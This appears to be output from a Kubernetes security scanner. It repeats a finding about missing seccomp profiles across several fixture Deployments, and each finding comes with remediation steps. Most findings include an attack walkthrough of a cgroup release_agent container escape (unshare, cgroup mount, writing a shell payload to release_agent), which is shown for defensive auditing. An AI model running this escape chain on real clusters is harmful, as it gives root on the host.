Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n netpol-imds <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.5
Container app runs without a seccomp profile in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n psa-unlabeled-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.5
Container app runs without a seccomp profile in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/imp-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/wildcard-app Workload 5.5
Container app runs without a seccomp profile in Deployment/rbac-fixtures/wildcard-app
Scope · Workload Workload Deployment/rbac-fixtures/wildcard-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/wildcard-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/wildcard-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n rbac-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/wildcard-app -n rbac-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/statusspoof-fixtures/statusspoof-api Workload 5.5
Container app runs without a seccomp profile in Deployment/statusspoof-fixtures/statusspoof-api
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api
Category: Privilege Escalation Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Container app in Deployment/statusspoof-fixtures/statusspoof-api either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n statusspoof-fixtures <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/statusspoof-api -n statusspoof-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/generic-hostpath-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/generic-hostpath-app
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app
Category: Privilege Escalation Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Container app in Deployment/vulnerable/generic-hostpath-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/generic-hostpath-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/host-ns-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Container app in Deployment/vulnerable/host-ns-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/root-runner Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/root-runner
Scope · Workload Workload Deployment/vulnerable/root-runner
Category: Privilege Escalation Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Container app in Deployment/vulnerable/root-runner either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
  3. Stage a cgroup release_agent escape (CVE-2022-0492 class): unshare -UrmC --propagation=unchanged to spawn a user-namespaced shell, then mount -t cgroup -o rdma cgroup /mnt/c && echo 1 > /mnt/c/notify_on_release && echo '#!/bin/sh\nbash -c "..." > /tmp/x' > /mnt/c/release_agent.
  4. Trigger the release: write a PID to cgroup.procs and exit. The kernel runs the release_agent payload on the host as root.
  5. Under RuntimeDefault the same chain fails at step 3 because unshare returns EPERM; the escape cannot start.
Remediation
Set securityContext.seccompProfile.type: RuntimeDefault on every container (or once at the pod level).
  1. Add seccompProfile: { type: RuntimeDefault } to either each container's securityContext or the pod-level securityContext (container-level wins on conflict).
  2. For workloads that need a non-default filter (eBPF tooling, debuggers), ship a custom profile under /var/lib/kubelet/seccomp/profiles/ on each node and set type: Localhost with localhostProfile: <path>. Never use Unconfined.
  3. Apply Pod Security Admission restricted to the namespace to lock the requirement in at admit time.
  4. Validate: kubectl exec -n vulnerable <pod> -- grep Seccomp /proc/1/status returns 2. Inspect spec: kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.seccompProfile.type}'.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/vulnerable/socket-mounts-app Workload 5.5
Container app runs without a seccomp profile in Deployment/vulnerable/socket-mounts-app
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Container app in Deployment/vulnerable/socket-mounts-app either omits securityContext.seccompProfile (at both container and pod level) or sets it to Unconfined. The container therefore inherits the host kernel's unfiltered syscall surface — roughly 340 syscalls on a modern x86_64 Linux. The runtime's default seccomp profile (RuntimeDefault) blocks about 44 of those, including the syscall families that container-escape exploits depend on.

Why that matters in practice: most container-escape CVEs published in the last five years were either fully blocked or substantially harder to weaponise under RuntimeDefault. CVE-2022-0492 (cgroup release_agent escape) needs unshare(CLONE_NEWUSER|CLONE_NEWNS) and mount — both filtered. CVE-2024-21626 "Leaky Vessels" abuses runc's working-directory handling at process start; default seccomp doesn't fully neutralise it but blocks several reliable post-exploitation primitives. Dirty Pipe (CVE-2022-0847), CVE-2022-0185 fsconfig, and the user-namespace + io_uring chain (CVE-2022-32250 family) all hit syscalls the default profile denies (keyctl, add_key, bpf, userfaultfd, clone3 with namespace flags).

The Pod Security Standards Restricted level mandates seccompProfile.type: RuntimeDefault or Localhost (with a pinned profile name). Unconfined is explicit opt-out and is forbidden. Container-level overrides take precedence; if absent, the pod-level setting applies. With nothing set at either level, the kernel runs the container without a seccomp filter at all.

Impact Restores the full Linux syscall surface to in-container code; every recent container-escape exploit becomes substantially more reliable.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container.
  2. Check the seccomp state: grep Seccomp /proc/1/status returns 0 (disabled) or Unconfined. Under RuntimeDefault it would return 2 (filtered).
